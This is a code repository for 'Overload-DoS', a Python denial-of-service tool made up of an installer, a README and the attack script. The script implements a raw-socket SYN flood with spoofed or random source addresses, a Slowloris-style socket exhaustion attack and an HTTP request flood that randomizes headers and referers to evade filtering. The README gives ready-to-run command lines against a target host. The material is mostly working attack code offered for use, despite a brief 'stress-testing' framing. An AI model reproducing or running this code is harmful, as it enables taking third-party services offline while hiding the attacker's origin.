├── install-overload ├── README.md └── Overload-DoS.py /install-overload: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #---------------------------------------------------------------------# 3 | #_____________________________________________________________________# 4 | # ___ _ _ ____ ____ # 5 | # / _ \__ _____ _ __| | ___ __ _ __| | | _ \ ___/ ___| # 6 | # | | | \ \ / / _ \ '__| |/ _ \ / _` |/ _` |_____| | | |/ _ \___ \ # 7 | # | |_| |\ V / __/ | | | (_) | (_| | (_| |_____| |_| | (_) |__) | # 8 | # \___/ \_/ \___|_| |_|\___/ \__,_|\__,_| |____/ \___/____/ # 9 | # # 10 | # Developed by Chris Poole | @codingplanets # 11 | # https://github.com/codingplanets/Overload-DoS # 12 | # Version: 1.0 # 13 | #_____________________________________________________________________# 14 | # Overload-DoS installation # 15 | #_____________________________________________________________________# 16 | # chmod +x install-overload.py # 17 | # sudo ./install-overload.py # 18 | #_____________________________________________________________________# 19 | 20 | import os, sys, time 21 | 22 | if os.name == 'posix': 23 | c = os.system('which pip'); print "[+] pip is correctly installed" 24 | if c == 256: 25 | print "[+] Installing pip installer"; os.system('sudo yum install python-pip') 26 | else: 27 | pass 28 | else: 29 | print '[+] Installing your pip installer' 30 | 31 | try: 32 | import requests,colorama 33 | from termcolor import colored,cprint 34 | except: 35 | try: 36 | if os.name == 'posix': 37 | os.system('sudo pip install colorama termcolor requests') 38 | sys.exit('[+] Overload has install the nessecary modules to execute program') 39 | elif os.name == 'nt': 40 | os.sytem('c:\python27\scripts\pip.exe install colorama requests termcolor') 41 | sys.exit('[+] Overload has install the nessecary modules to execute program') 42 | else: 43 | sys.exit('[+] Download and install all nessecary modules') 44 | except Exception,e: 45 | print '[-]',e 46 | if os.name == 'nt': 47 | colorama.init() 48 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Overload-DoS 2 | 3 | This a very powerful denial of service (DDoS) program. It is very efficient and portable, it is stable and useful for stress-testing companies, it currently has three attack methods. 1) SYN/ICMP with 6 flags including fin, syn, rst, ack, psh and urg. 2) Slowloris/SLOW uses sock.connect to attack. 3) Request/Requester uses httplib to attack. You either choose one of the three attack methods or you can choose all three! 4 | ## Getting Started 5 | 6 | You will need a few different modules installed to execute Overload. 7 | 8 | ### Modules 9 | 10 | You will have to use pip to install the modules, colorama, termcolor & requests 11 | ``` 12 | sudo apt-get install python-pip 13 | ``` 14 | ``` 15 | sudo yum install python-pip 16 | ``` 17 | ### Module Installing 18 | 19 | Using pip you can install the following modules 20 | 21 | ``` 22 | sudo pip install colorama termcolor requests 23 | ``` 24 | 25 | 26 | ## Install Overload-Dos 27 | 28 | ``` 29 | git clone https://github.com/codingplanets/Overload-DoS 30 | ``` 31 | ``` 32 | cd Overload-DoS 33 | ``` 34 | ``` 35 | chmod +x * 36 | ``` 37 | ``` 38 | ./install-overload 39 | ``` 40 | ## Usages 41 | ``` 42 | usage: ./Overload-DoS.py -target [target] -port [port] -threads [number threads] 43 | 44 | optional arguments: 45 | -h, --help show this help message and exit 46 | 47 | options: 48 | 49 | -target Specify your target 50 | -timeout Timeout for socket 51 | -threads Set threads number for connection (default = 1000) 52 | -port Specify port target (default = 80) 53 | -sleep Set sleep time for reconnection 54 | -spoof Specify spoofed IP address 55 | -request Enable request target 56 | -syn Enable syn attack 57 | -slow Enable slow attack 58 | -fakeip Option to create fake ip if not specifed for spoofed ip 59 | ``` 60 | ## Examples 61 | Slowloris/SLOW attack method 62 | ``` 63 | ./Overload-DoS.py -target www.target.com -port 80 -threads 2000 -slow 64 | ``` 65 | Request/Requester attack method 66 | ``` 67 | ./Overload-DoS.py -target www.target.com -port 80 -threads 2000 -request 68 | ``` 69 | SYN/6 flagged ICMP attack method 70 | ``` 71 | ./Overload-DoS.py -target www.target.com -syn -threads 5000 72 | ``` 73 | SLOW/Request/SYN attack method 74 | ``` 75 | ./Overload-DoS.py -target www.target.com -port 80 -threads 2000 -request -slow -syn 76 | ``` 77 | SLOW/Request/SYN spoofed IP attack method 78 | ``` 79 | ./Overload-DoS.py -target www.target.com -port 80 -threads 2000 -request -slow -syn -spoof 8.8.8.8 80 | ``` 81 | 82 | ## Built With 83 | 84 | * [Python 2.7](https://www.python.org/download/releases/2.7/) - The code framework used 85 | * [Requests](http://docs.python-requests.org/en/master/) - Used to send DoS attack 86 | * [Colorama](https://pypi.python.org/pypi/colorama) - Used to generate text color 87 | * [Termcolor](https://pypi.python.org/pypi/termcolor) - Used to generate text color 88 | 89 | 90 | 91 | ## Authors 92 | 93 | * **Chris Poole** - Twitter: [@codingplanets](https://twitter.com/codingplanets) - Github: [/codingplanets](https://github.com/codingplanets) - Pastebin: [/1337ings](https://pastebin.com/u/1337ings) 94 | 95 | 96 | ## License 97 | 98 | This project is licensed under the MIT License 99 | 100 | -------------------------------------------------------------------------------- /Overload-DoS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | #---------------------------------------------------------------------# 4 | #_____________________________________________________________________# 5 | # ___ _ _ ____ ____ # 6 | # / _ \__ _____ _ __| | ___ __ _ __| | | _ \ ___/ ___| # 7 | # | | | \ \ / / _ \ '__| |/ _ \ / _` |/ _` |_____| | | |/ _ \___ \ # 8 | # | |_| |\ V / __/ | | | (_) | (_| | (_| |_____| |_| | (_) |__) | # 9 | # \___/ \_/ \___|_| |_|\___/ \__,_|\__,_| |____/ \___/____/ # 10 | # # 11 | # Developed by Chris Poole | @codingplanets # 12 | # https://github.com/codingplanets/Overload-DoS # 13 | # Version: 1.0 # 14 | #_____________________________________________________________________# 15 | 16 | version="1.0" 17 | title = ''' 18 | ___ _ _ ____ ____ 19 | / _ \__ _____ _ __| | ___ __ _ __| | | _ \ ___/ ___| 20 | | | | \ \ / / _ \ '__| |/ _ \ / _` |/ _` |_____| | | |/ _ \___ \ 21 | | |_| |\ V / __/ | | | (_) | (_| | (_| |_____| |_| | (_) |__) | 22 | \___/ \_/ \___|_| |_|\___/ \__,_|\__,_| |____/ \___/____/ 23 | 24 | Developed by Chris Poole | @codingplanets 25 | https://github.com/codingplanets/Overload-DoS 26 | Version: '''+version+''' 27 | ''' 28 | 29 | import os 30 | import sys 31 | import json 32 | import time 33 | import string 34 | import signal 35 | import httplib,urlparse 36 | from random import * 37 | from socket import * 38 | from struct import * 39 | from threading import * 40 | from argparse import ArgumentParser,RawTextHelpFormatter 41 | import requests,colorama 42 | from termcolor import colored, cprint 43 | 44 | signal.signal(signal.SIGPIPE,signal.SIG_DFL) 45 | 46 | def fake_ip(): 47 | skip = '127' 48 | rand = range(4) 49 | for x in range(4): 50 | rand[x] = randrange(0,256) 51 | if rand[0] == skip: 52 | fake_ip() 53 | fkip = '%d.%d.%d.%d' % (rand[0],rand[1],rand[2],rand[3]) 54 | return fkip 55 | 56 | def check_tgt(args): 57 | tgt = args.target 58 | try: 59 | ip = gethostbyname(tgt) 60 | except: 61 | sys.exit(cprint('[+] Can\'t resolve host:Unknow host!','red')) 62 | return ip 63 | 64 | 65 | def add_useragent(): 66 | uagents = [] 67 | uagents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36') 68 | uagents.append('(Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36') 69 | uagents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25') 70 | uagents.append('Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50') 71 | uagents.append('Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)') 72 | uagents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0') 73 | uagents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') 74 | uagents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)') 75 | return uagents 76 | 77 | def add_bots(): 78 | bots=[] 79 | bots.append('http://www.bing.com/search?q=%40&count=50&first=0') 80 | bots.append('http://www.google.com/search?hl=en&num=100&q=intext%3A%40&ie=utf-8') 81 | return bots 82 | 83 | class slow: 84 | def __init__(self, 85 | tgt, 86 | port, 87 | to, 88 | threads, 89 | sleep): 90 | self.tgt = tgt 91 | self.port = port 92 | self.to = to 93 | self.threads = threads 94 | self.sleep = sleep 95 | self.method = ['GET','POST'] 96 | self.pkt_count = 0 97 | def mypkt(self): 98 | text = choice(self.method) + ' /' + str(randint(1,999999999)) + ' HTTP/1.1\r\n'+\ 99 | 'Host:'+self.tgt+'\r\n'+\ 100 | 'User-Agent:'+choice(add_useragent())+'\r\n'+\ 101 | 'Content-Length: 42\r\n' 102 | pkt = buffer(text) 103 | return pkt 104 | def building_socket(self): 105 | try: 106 | sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 107 | sock.settimeout(self.to) 108 | sock.connect((self.tgt,int(self.port))) 109 | self.pkt_count += 3 110 | if sock: 111 | sock.sendto(self.mypkt(),(self.tgt,int(self.port))) 112 | self.pkt_count += 1 113 | except Exception: 114 | sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 115 | sock.settimeout(self.to) 116 | sock.connect((self.tgt,int(self.port))) 117 | sock.settimeout(None) 118 | self.pkt_count+=3 119 | if sock: 120 | sock.sendto(self.mypkt(),(self.tgt,int(self.port))) 121 | self.pkt_count+=1 122 | except KeyboardInterrupt: 123 | sys.exit(cprint('[+] Attack canceled by user','red')) 124 | return sock 125 | def sending_packets(self): 126 | try: 127 | sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 128 | sock.settimeout(self.to) 129 | sock.connect((self.tgt,int(self.port))) 130 | self.pkt_count+=3 131 | if sock: 132 | sock.sendall('X-a: b\r\n') 133 | self.pkt+=1 134 | except Exception: 135 | sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP) 136 | sock.settimeout(self.to) 137 | sock.connect((self.tgt,int(self.port))) 138 | sock.settimeout(None) 139 | if sock: 140 | sock.sendall('X-a: b\r\n') 141 | self.pkt_count+=1 142 | except KeyboardInterrupt: 143 | sys.exit(cprint('[+] Attack canceled by user','red')) 144 | return sock 145 | def doconnection(self): 146 | socks = 0 147 | fail=0 148 | lsocks=[] 149 | lhandlers=[] 150 | cprint('\t\tCreating and masking sockets..','red') 151 | while socks < (int(self.threads)): 152 | try: 153 | sock = self.building_socket() 154 | if sock: 155 | lsocks.append(sock) 156 | socks+=1 157 | if socks > int(self.threads): 158 | break 159 | except Exception: 160 | fail+=1 161 | except KeyboardInterrupt: 162 | sys.exit(cprint('[+] Attack canceled by user','red')) 163 | cprint('\t\tSending packets','blue') 164 | while socks < int(self.threads): 165 | try: 166 | handler = self.sending_packets() 167 | if handler: 168 | lhandlers.append(handler) 169 | socks+=1 170 | if socks > int(self.threads): 171 | break 172 | else: 173 | pass 174 | except Exception: 175 | fail+=1 176 | except KeyboardInterrupt: 177 | break 178 | sys.exit(cprint('[+] Attack canceled by user','red')) 179 | print colored('We\'ve sent ','green') + colored(str(self.pkt_count),'cyan') + colored(' packets successfully. We\'re sleeping for ','green') + colored(self.sleep,'red') + colored(' seconds','green') 180 | time.sleep(self.sleep) 181 | 182 | class Requester(Thread): 183 | def __init__(self,tgt): 184 | Thread.__init__(self) 185 | self.tgt = tgt 186 | self.port = None 187 | self.ssl = False 188 | self.req = [] 189 | self.lock=Lock() 190 | url_type = urlparse.urlparse(self.tgt) 191 | if url_type.scheme == 'https': 192 | self.ssl = True 193 | if self.ssl == True: 194 | self.port = 443 195 | else: 196 | self.port = 80 197 | def header(self): 198 | cachetype = ['no-cache','no-store','max-age='+str(randint(0,10)),'max-stale='+str(randint(0,100)),'min-fresh='+str(randint(0,10)),'notransform','only-if-cache'] 199 | acceptEc = ['compress,gzip','','*','compress;q=0,5, gzip;q=1.0','gzip;q=1.0, indentity; q=0.5, *;q=0'] 200 | acceptC = ['ISO-8859-1','utf-8','Windows-1251','ISO-8859-2','ISO-8859-15'] 201 | bot = add_bots() 202 | c=choice(cachetype) 203 | a=choice(acceptEc) 204 | http_header = { 205 | 'User-Agent' : choice(add_useragent()), 206 | 'Cache-Control' : c, 207 | 'Accept-Encoding' : a, 208 | 'Keep-Alive' : '42', 209 | 'Host' : self.tgt, 210 | 'Referer' : choice(bot) 211 | } 212 | return http_header 213 | def rand_str(self): 214 | mystr=[] 215 | for x in range(3): 216 | chars = tuple(string.ascii_letters+string.digits) 217 | text = (choice(chars) for _ in range(randint(7,14))) 218 | text = ''.join(text) 219 | mystr.append(text) 220 | return '&'.join(mystr) 221 | def create_url(self): 222 | return self.tgt + '?' + self.rand_str() 223 | def data(self): 224 | url = self.create_url() 225 | http_header = self.header() 226 | return (url,http_header) 227 | 228 | def run(self): 229 | try: 230 | if self.ssl: 231 | conn = httplib.HTTPSConnection(self.tgt,self.port) 232 | else: 233 | conn = httplib.HTTPConnection(self.tgt,self.port) 234 | self.req.append(conn) 235 | for reqter in self.req: 236 | (url,http_header) = self.data() 237 | method = choice(['get','post']) 238 | reqter.request(method.upper(),url,None,http_header) 239 | except KeyboardInterrupt: 240 | sys.exit(cprint('[+] Attack canceled by user','red')) 241 | except Exception,e: 242 | print e 243 | finally: 244 | self.closeConnections() 245 | def closeConnections(self): 246 | for conn in self.req: 247 | try: 248 | conn.close() 249 | except: 250 | pass 251 | 252 | class syn(Thread): 253 | def __init__(self,tgt,ip,sock=None): 254 | Thread.__init__(self) 255 | self.tgt = tgt 256 | self.ip = ip 257 | self.psh = '' 258 | if sock is None: 259 | self.sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP) 260 | self.sock.setsockopt(IPPROTO_IP,IP_HDRINCL,1) 261 | else: 262 | self.sock=sock 263 | self.lock=Lock() 264 | def checksum(self): 265 | s = 0 266 | for i in range(0,len(self.psh),2): 267 | w = (ord(self.psh[i]) << 8) + (ord(self.psh[i+1])) 268 | s = s+w 269 | 270 | s = (s>>16) + (s & 0xffff) 271 | s = ~s & 0xffff 272 | 273 | return s 274 | def Building_packet(self): 275 | ihl=5 276 | version=4 277 | tos=0 278 | tot=40 279 | id=54321 280 | frag_off=0 281 | ttl=64 282 | protocol=IPPROTO_TCP 283 | check=10 284 | s_addr=inet_aton(self.ip) 285 | d_addr=inet_aton(self.tgt) 286 | 287 | ihl_version = (version << 4) + ihl 288 | ip_header = pack('!BBHHHBBH4s4s',ihl_version,tos,tot,id,frag_off,ttl,protocol,check,s_addr,d_addr) 289 | 290 | source = 54321 291 | dest = 80 292 | seq = 0 293 | ack_seq = 0 294 | doff = 5 295 | fin = 0 296 | syn = 1 297 | rst = 0 298 | ack = 0 299 | psh = 0 300 | urg = 0 301 | window = htons(5840) 302 | check = 0 303 | urg_prt = 0 304 | 305 | offset_res = (doff << 4) 306 | tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + (urg << 5) 307 | tcp_header=pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,check,urg_prt) 308 | 309 | src_addr = inet_aton(self.ip) 310 | dst_addr = inet_aton(self.tgt) 311 | place = 0 312 | protocol = IPPROTO_TCP 313 | tcp_length = len(tcp_header) 314 | 315 | self.psh = pack('!4s4sBBH',src_addr,dst_addr,place,protocol,tcp_length); 316 | self.psh = self.psh + tcp_header; 317 | 318 | tcp_checksum = self.checksum() 319 | 320 | tcp_header = pack('!HHLLBBHHH',source,dest,seq,ack_seq,offset_res,tcp_flags,window,tcp_checksum,urg_prt) 321 | packet = ip_header + tcp_header 322 | 323 | return packet 324 | 325 | def run(self): 326 | packet=self.Building_packet() 327 | try: 328 | self.lock.acquire() 329 | self.sock.sendto(packet,(self.tgt,0)) 330 | except KeyboardInterrupt: 331 | sys.exit(cprint('[+] Attack Attack canceled by user','red')) 332 | except Exception,e: 333 | cprint(e,'red') 334 | finally: 335 | self.lock.release() 336 | 337 | def main(): 338 | parser = ArgumentParser( 339 | usage='./%(prog)s -t [target] -p [port] -t [number threads]', 340 | formatter_class=RawTextHelpFormatter, 341 | prog='Overload-DoS.py', 342 | description=cprint(title,'white',attrs=['bold']), 343 | epilog=''' 344 | Example: 345 | ./%(prog)s -target www.target.com -port 80 -T 2000 -slow 346 | ./%(prog)s -target www.target.com -sleep 100 -request 347 | ./%(prog)s -target www.target.com -syn -T 5000 -t 10.0 348 | ''' 349 | ) 350 | options = parser.add_argument_group('options','') 351 | options.add_argument('-target',metavar='',default=False,help='Specify your target') 352 | options.add_argument('-timeout',metavar='',default=5.0,help='Timeout for socket') 353 | options.add_argument('-threads',metavar='',default=1000,help='Set threads number for connection (default = 1000)') 354 | options.add_argument('-port',metavar='',default=80,help='Specify port target (default = 80)') 355 | options.add_argument('-sleep',metavar='',default=2,help='Set sleep time for reconnection') 356 | options.add_argument('-spoof',metavar='',default=False,help='Specify spoofed IP address') 357 | options.add_argument('-request',action='store_true',help='Enable request target') 358 | options.add_argument('-syn',action='store_true',help='Enable syn attack') 359 | options.add_argument('-slow',action='store_true',help='Enable slow attack') 360 | options.add_argument('-fakeip',action='store_true',default=False,help='Option to create fake ip if not specifed for spoofed ip') 361 | args = parser.parse_args() 362 | if args.target == False: 363 | parser.print_help() 364 | sys.exit() 365 | add_bots();add_useragent() 366 | if args.target: 367 | check_tgt(args) 368 | if args.syn: 369 | uid = os.getuid() 370 | if uid == 0: 371 | cprint('[*] You have enough permisson to run Overload-v1.0','green') 372 | time.sleep(0.5) 373 | else: 374 | sys.exit(cprint('[+] You haven\'t enough permission to run this script','red')) 375 | tgt=check_tgt(args) 376 | synsock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP) 377 | synsock.setsockopt(IPPROTO_IP,IP_HDRINCL,1) 378 | ts=[] 379 | threads=[] 380 | print colored('[*] SYN flood started on: ','blue')+colored(tgt,'red') 381 | while 1: 382 | if args.spoof == False: 383 | args.fakeip = True 384 | if args.fakeip == True: 385 | ip = fake_ip() 386 | else: 387 | ip = args.spoof 388 | try: 389 | thread=syn(tgt,ip,sock=synsock) 390 | thread.setDaemon(True) 391 | thread.start() 392 | thread.join() 393 | except KeyboardInterrupt: 394 | sys.exit(cprint('[+] Attack canceled by user','red')) 395 | elif args.request: 396 | tgt = args.target 397 | threads = [] 398 | print colored('[*] Starting to send requests to: ','blue')+colored(tgt,'red') 399 | while 1: 400 | try: 401 | for x in xrange(int(args.threads)): 402 | t=Requester(tgt) 403 | t.setDaemon(True) 404 | t.start() 405 | t.join() 406 | except KeyboardInterrupt: 407 | sys.exit(cprint('[+] Attack canceled by user','red')) 408 | elif args.slow: 409 | try: 410 | tgt = args.target 411 | port = args.port 412 | to = float(args.timeout) 413 | st = int(args.spoof) 414 | threads = int(args.threads) 415 | except Exception,e: 416 | print '[+]',e 417 | while 1: 418 | try: 419 | worker=slow(tgt,port,to,threads,st) 420 | worker.doconnection() 421 | except KeyboardInterrupt: 422 | sys.exit(cprint('[+] Attack canceled by user','red')) 423 | if not (args.syn) and not (args.request) and not (args.slow): 424 | parser.print_help() 425 | print 426 | cprint('[+] You must specify attack argument.','red') 427 | sys.exit(cprint('[+] -syn | -request | -slow [+]','red')) 428 | 429 | if __name__ == '__main__': 430 | main() 431 | --------------------------------------------------------------------------------